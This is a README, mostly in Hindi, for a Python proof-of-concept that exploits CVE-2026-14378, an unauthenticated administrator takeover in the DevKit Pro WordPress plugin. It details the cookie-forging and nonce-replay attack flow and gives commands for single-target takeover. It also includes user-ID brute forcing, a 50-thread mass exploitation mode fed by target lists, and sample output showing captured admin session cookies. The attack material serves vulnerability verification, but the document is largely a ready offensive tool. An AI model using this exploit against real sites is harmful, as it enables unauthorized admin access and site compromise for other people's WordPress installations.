
CVE-2026-14378 के लिए Python PoC स्कैनर और exploit helper, जो DevKit Pro WordPress plugin में forged original_user_id cookie के माध्यम से unauthenticated admin session takeover है।
CVE-2026-14378 के लिए प्रूफ-ऑफ-कॉन्सेप्ट स्कैनर और एक्सप्लॉइट हेल्पर: WordPress प्लगइन DevKit Pro (dplugins) में त्रुटिपूर्ण यूज़र-स्विच "revert" फ़्लो के माध्यम से अनधिकृत व्यवस्थापक सत्र अधिग्रहण।
कानूनी: केवल उन सिस्टम पर उपयोग करें जिनका आप स्वामी हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट लिखित अनुमति है। अनधिकृत पहुँच अवैध है। यह रिपॉज़िटरी रक्षात्मक शोध, सत्यापन और पैचिंग सत्यापन के लिए है।
PoC for CVE-2026-14378: DevKit Pro ≤2.3.0 pre-auth admin takeover via forged original_user_id cookie + wp_footer revert_switch nonce. check/admin + mass scan.
सुझाए गए विषय: cve-2026-14378, wordpress, wordpress-exploit, devkit-pro, dplugins, authentication-bypass, poc, security-research
| CVE | CVE-2026-14378 |
| उत्पाद | DevKit Pro (विक्रेता: dplugins) |
| प्रकार | प्रमाणीकरण बायपास → पूर्ण व्यवस्थापक सत्र (CWE-287) |
| प्रभावित | सभी संस्करण ≤ 2.3.0 |
| ठीक किया गया | 3.0.0+ (changelog) |
| CVSS 3.1 | 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| CVE | समस्या | प्रमाणीकरण |
|---|---|---|
| CVE-2026-14357 | DPDEV_install_themes के माध्यम से मनमाना थीम ZIP इंस्टॉल | Subscriber+ |
| CVE-2026-14378 | यूज़र-स्विच revert के माध्यम से सत्र अधिग्रहण | कोई नहीं |
यह PoC केवल 14378 को लक्षित करता है।
DevKit Pro का Users Manager परीक्षण के लिए उपयोगकर्ताओं का प्रतिरूपण कर सकता है। जब कोई व्यवस्थापक किसी अन्य खाते पर स्विच करता है, तो प्लगइन पूर्व पहचान को क्लाइंट कुकी में संग्रहीत करता है:
original_user_id — स्विच से पहले खाते की उपयोगकर्ता IDजब वह कुकी मौजूद होती है, तो प्लगइन फ्रंट एंड पर wp_footer में एक "switch back" नियंत्रण प्रस्तुत करता है, जिसमें revert क्रिया से बंधा एक WordPress nonce शामिल होता है।
revert_switch हैंडलर (AJAX) verify_nonce_and_capability() को कॉल करता है, जो वास्तविक अनुरोधकर्ता (जो पूरी तरह से अनधिकृत हो सकता है) पर current_user_can() का उपयोग करने के बजाय original_user_id द्वारा संदर्भित उपयोगकर्ता के विरुद्ध manage_options का गलत मूल्यांकन करता है।
एक हमलावर यह कर सकता है:
Cookie: original_user_id=<administrator_user_id> सेट करें (सामान्यतः 1)।action=revert_switch (या प्लगइन-विशिष्ट उपनाम) और लीक हुए nonce के साथ wp-admin/admin-ajax.php पर POST करें।wp_set_auth_cookie() ट्रिगर करें → प्रमाणित व्यवस्थापक सत्र।आधिकारिक सुविधा संदर्भ: Users Manager — switch back।
sequenceDiagram
participant A as Attacker
participant W as WordPress (front end)
participant P as DevKit Pro
participant X as admin-ajax.php
A->>W: GET / (Cookie: original_user_id=1)
W->>P: wp_footer hook
P-->>W: switch-back HTML + nonce
W-->>A: page body contains nonce
A->>X: POST action=revert_switch + nonce
Note over P,X: capability checked for user 1, not attacker
X-->>A: Set-Cookie wordpress_logged_in_*
A->>W: GET /wp-admin/
W-->>A: admin dashboard
check कमांड जानबूझकर सख्त है: यह भेद्य की रिपोर्ट केवल तब करता है जब original_user_id को फ़ॉर्ज करने के बाद switch-back nonce प्रकट होता है।
| अवलोकन | संभावित अर्थ |
|---|---|
VULNERABLE — switch-back material leaked | एक्सप्लॉइट पथ संभवतः काम करता है; admin से पहले लैब में पुष्टि करें। |
not vulnerable (check): no switch-back nonce… | पैच किया गया DevKit (≥ 3.0.0), प्लगइन इंस्टॉल नहीं, Users Manager अक्षम (डिफ़ॉल्ट रूप से बंद), कस्टम प्लगइन पथ, कैश/CDN फुटर हटा रहा है, या गलत साइट। |
DevKit Pro readme not confirmed | कोई सार्वजनिक readme.txt फ़िंगरप्रिंट नहीं; प्लगइन अभी भी मौजूद हो सकता है लेकिन छिपा हुआ — oracle निर्णायक परीक्षण बना हुआ है। |
DevKit Pro <= 2.3.0 suspected + अभी भी कोई nonce नहीं | भेद्य संस्करण इंस्टॉल हो सकता है लेकिन switch सुविधा सक्षम नहीं या परीक्षण किए गए URL पर फुटर प्रस्तुत नहीं। |
नोट: /wp-content/plugins/.../readme.txt पर HTTP 200 जो पूर्ण HTML पृष्ठ लौटाता है, एक सामान्य WordPress सॉफ्ट 404 है। यह PoC readme सामग्री (Plugin Name: हेडर) को मान्य करता है, केवल स्थिति कोड को नहीं।
pip install requests
वैकल्पिक: requirements.txt में एक पिन किया गया न्यूनतम संस्करण है:
requests>=2.28.0
git clone https://github.com/YOUR_USER/cve-2026-14378-poc.git
cd cve-2026-14378-poc
pip install -r requirements.txt # or: pip install requests
अधिग्रहण पूरा नहीं करता; केवल फुटर nonce oracle का परीक्षण करता है।
python poc.py check https://target.example/
python poc.py check https://target.example/ --user-id 2
python poc.py check https://target.example/ --timeout 40
पूर्ण revert_switch का प्रयास करता है और /wp-admin/ पहुँच सत्यापित करता है।
python poc.py admin https://target.example/
python poc.py admin https://target.example/ --user-id 1 --brute 5
python poc.py admin https://target.example/ --log successes.txt
| फ़्लैग | विवरण |
|---|---|
--user-id | original_user_id में फ़ॉर्ज की गई व्यवस्थापक (या लक्ष्य) उपयोगकर्ता ID (डिफ़ॉल्ट: 1) |
--brute | जब पहली ID विफल हो तो ID 1..N आज़माएँ |
--timeout | सेकंड में HTTP टाइमआउट (डिफ़ॉल्ट: 25) |
--log | सफल admin URL को फ़ाइल में जोड़ें (डिफ़ॉल्ट: logs.txt) |
प्रति पंक्ति एक URL; # टिप्पणियाँ और व्हाइटस्पेस के बाद अतिरिक्त कॉलम अनदेखा किए जाते हैं।
# Detection only (recommended first pass)
python poc.py targets.txt
# Exploit attempts (authorized targets only)
python poc.py targets.txt admin
यदि पहले तर्क के रूप में कोई फ़ाइल पास नहीं की जाती है, तो स्क्रिप्ट सूची पथ के लिए संकेत देती है (विरासत मास स्कैनर के समान व्यवहार)।
मास मोड थ्रेड पूल (50 workers) का उपयोग करता है। यदि आप दर सीमा तक पहुँचते हैं तो poc.py में ट्यून करें।
# FOFA / manual imports
https://staging.example.com
example.org
192.0.2.10|wordpress|1.2.3 # only first token is used
भेद्य (check):
[*] https://vulnerable.example
[+] DevKit Pro <= 2.3.0 suspected (stable tag 2.3.0)
[+] VULNERABLE — switch-back material leaked (action=revert_switch, nonce=a1b2c3d4…)
भेद्य नहीं (सामान्य मास स्कैन):
[*] https://patched.example
[!] DevKit Pro readme not confirmed (hidden path, WAF, or plugin absent)
[-] not vulnerable (check): no switch-back nonce in wp_footer with forged original_user_id cookie — patched DevKit, Users Manager off, or wrong target
सफल admin:
[*] https://lab.local
[+] https://lab.local -> administrator session as user_id=1
[+] cookie: wordpress_logged_in_…=…
verify=False); रीडायरेक्ट का पालन; त्रुटियों पर वैकल्पिक HTTP↔HTTPS फ़ॉलबैक।revert_switch, DPDEV_revert_switch, dpdev_revert_switch, devkit_revert_switch (व्यावसायिक प्लगइन; सटीक हुक नाम बिल्ड के अनुसार भिन्न हो सकता है)।/, /?p=1, /sample-page/, /index.php।wordpress_logged_in_* कुकी और/या /wp-admin/ डैशबोर्ड मार्कर।